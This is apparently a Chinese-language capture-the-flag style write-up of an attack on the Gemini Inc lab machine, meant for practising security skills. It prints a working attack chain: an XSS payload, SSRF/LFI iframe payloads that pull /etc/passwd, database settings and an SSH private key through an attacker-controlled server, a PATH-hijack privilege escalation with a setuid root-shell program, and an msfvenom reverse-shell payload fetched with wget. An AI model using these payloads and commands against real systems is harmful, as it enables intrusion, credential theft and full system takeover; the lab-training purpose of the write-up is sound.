本文档详细记录了一次针对Gemini Inc靶机的渗透测试过程,旨在于模拟真实网络环境下的安全风险,提升防御技能。本次渗透测试涵盖了信息收集、漏洞挖掘、权限提升等多个环节,旨在全面评估目标系统的安全状况。
信息收集阶段
主机发现
在渗透测试初期,快速准确地识别目标网络中的活跃主机至关重要。我们首先使用netdiscover
工具进行主动探测,该工具通过发送ARP请求,能够有效地发现局域网内的IP地址。
sudo netdiscover -i eth0 -r 192.168.239.0/24
netdiscover
能够监听网络接口(此处为eth0
)并扫描指定的IP地址范围(192.168.239.0/24
),从而确定目标主机的IP地址。在本次测试中,我们成功识别到目标主机的IP地址为192.168.239.137
。
端口扫描与服务识别
确定目标IP后,下一步是探测目标主机上开放的端口及其运行的服务。nmap
是一款强大的端口扫描工具,能够提供详细的服务信息。
nmap -p- 192.168.239.137
nmap -p22,80 -A 192.168.239.137
第一条nmap
命令扫描目标主机的所有端口,快速确定开放的端口。第二条命令针对22
(SSH)和80
(HTTP)端口进行详细扫描,使用-A
参数启用版本检测、脚本扫描和OS检测,以获取更全面的服务信息。扫描结果显示,目标主机开放了22
和80
端口,分别运行SSH和HTTP服务。通过版本信息,我们得知HTTP服务运行的是一个可能存在已知漏洞的旧版本。
漏洞挖掘与利用
网站源码泄露与硬编码漏洞
渗透测试的一个重要技巧是搜寻任何可能泄露的敏感信息。通过对目标网站的初步分析,我们发现目标存在网站源码泄露的风险。根据页面提示信息,我们推断可能存在install.php
文件,该文件可能包含安装配置信息。经查阅相关开源项目(Master Login System),我们确认了install.php
文件的存在,并从中发现了硬编码的用户名和密码:admin
和1234
。这为我们后续的身份验证绕过提供了关键信息。
XSS漏洞
利用发现的管理员凭据成功登录后台后,我们开始寻找潜在的XSS(跨站脚本)漏洞。XSS漏洞允许攻击者在受害者浏览器中执行恶意脚本。通过修改个人信息,我们发现页面能够正常回显输入的内容。这提示我们可能存在XSS漏洞。为了验证,我们构造了一个简单的XSS Payload:
<script>alert("XSS")</script>
将此Payload插入到个人信息字段并保存后,当查看个人信息时,浏览器成功弹窗,确认XSS漏洞存在。XSS漏洞可以被利用来窃取用户Cookie、重定向用户或执行其他恶意操作。为了提升利用效率,可以尝试存储型XSS。
SSRF结合LFI漏洞
在常规的网页探测和目录扫描未果后,我们注意到后台存在一个导出文件的功能。通过分析下载的文件,我们发现其创建者是wkhtmltopdf 0.12.4
,这是一个将HTML转换为PDF的工具。旧版本的wkhtmltopdf
可能存在SSRF(服务端请求伪造)和LFI(本地文件包含)漏洞。
SSRF漏洞允许攻击者诱使服务器代表自己发起请求,而LFI漏洞允许攻击者读取服务器上的任意文件。结合这两个漏洞,我们可以实现更为强大的攻击。
验证SSRF和LFI漏洞:
尝试加载本地资源(失败):
我们首先尝试通过
<iframe src="file:///etc/passwd"></iframe>
加载/etc/passwd
文件,但未能成功。尝试加载远程资源(成功):
为了确认SSRF漏洞的存在,我们在Kali Linux上搭建了一个简单的Web服务器,并创建一个包含“123456”内容的文件
1.txt
。<iframe src="http://192.168.239.130/1.txt"></iframe>
保存配置后,我们观察到靶机成功加载了Kali Linux上的文件内容,证实SSRF漏洞存在。
利用失败排查: 根据相关利用文章,我们尝试让靶机读取攻击者服务器上的恶意PHP文件,该文件通过
header('location:file://'.$_REQUEST['url']);
重定向到目标文件。然而,我们遇到了一些问题:浏览器自动下载PHP文件,导出的配置文件中没有内容。经过分析,发现是由于Web服务器配置问题导致PHP文件被直接下载而不是解析。
绕过与成功利用:
为了解决上述问题,我们将Kali Linux上的Web服务器切换为Apache,并确保PHP文件能够被正确解析。
<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/etc/passwd"></iframe>
通过调整后的Payload,我们成功读取了/etc/passwd
文件。
读取数据库配置信息:
通过源代码分析,我们发现数据库连接信息存储在
/var/www/html/test2/inc/settings.php
文件中。利用LFI漏洞,我们成功读取了该文件,获取了数据库的用户名、密码等敏感信息。<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/var/www/html/test2/inc/settings.php"></iframe>
SSH公钥认证:
获取数据库密码后,我们尝试SSH爆破,但未能成功。考虑到目标主机支持SSH公钥认证,我们尝试读取
gemini1
用户的.ssh
目录下的文件,包括id_rsa
(私钥)、id_rsa.pub
(公钥)和authorized_keys
(授权密钥)。读取私钥: <iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/home/gemini1/.ssh/id_rsa"></iframe> 读取公钥: <iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/home/gemini1/.ssh/id_rsa.pub"></iframe> 确认存在authorized_keys文件: <iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/home/gemini1/.ssh/authorized_keys"></iframe>
我们成功读取了
id_rsa
文件,获取了gemini1
用户的私钥。通过比对id_rsa.pub
和authorized_keys
的内容,确认可以使用私钥进行免密码登录。利用获取的私钥,我们成功以
gemini1
用户身份通过SSH登录目标主机。
vim id_rsa chmod 400 id_rsa ssh -i id_rsa gemini1@192.168.239.137
## 权限提升
### SUID权限与环境变量劫持
成功登录后,我们需要提升权限以获取root访问权限。我们首先查找具有SUID权限的文件,这些文件以文件所有者的权限执行,可能允许普通用户执行特权操作。
```bash
find / -type f -user root -perm -u+sx -ls 2>/dev/null
在具有SUID权限的文件中,我们发现了一个名为listinfo
的异常文件。运行该文件后,它显示了一些系统信息。通过file
和strings
命令分析,我们发现listinfo
在执行date
命令时没有指定完整路径。这为我们利用环境变量劫持提供了机会。
环境变量劫持是指通过修改PATH
环境变量,将恶意程序放置在系统命令之前,从而欺骗系统执行恶意程序。通过创建一个恶意的date
文件,并将其所在目录添加到PATH
环境变量的最前面,我们可以实现权限提升。
权限提升方法:
- 编译C代码获取root权限
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
编译上述C代码,生成可执行文件,然后按照下面的步骤执行:
echo $PATH
which date
export PATH=/home/gemini1:$PATH
echo $PATH
/usr/bin/listinfo
- 简单方式直接编写
cd /tmp
echo "/bin/sh" > date
chmod 777 date
export PATH=/tmp:$PATH
echo $PATH
/usr/bin/listinfo
MSF反弹shell
攻击者准备:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.239.130 LPORT=443 -f elf > date msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.239.130 set LPORT 443 exploit
受害者准备:
```bash
wget http://192.168.239.130:8080/date
echo $PATH
export PATH=/home/gemini1:$PATH
总结
本次渗透测试成功模拟了一次完整的攻击过程,从信息收集到权限提升,展示了多种安全漏洞的利用方法。通过本次测试,我们深入了解了目标系统的安全状况,并为后续的安全加固提供了有价值的参考。这次渗透测试的关键点在于:
- 信息收集的重要性:详细的信息收集是发现漏洞的前提。
- 漏洞利用的技巧:灵活运用各种漏洞利用技巧,才能突破防御。
- 权限提升的思路:通过SUID权限和环境变量劫持,可以实现权限提升,获取root权限。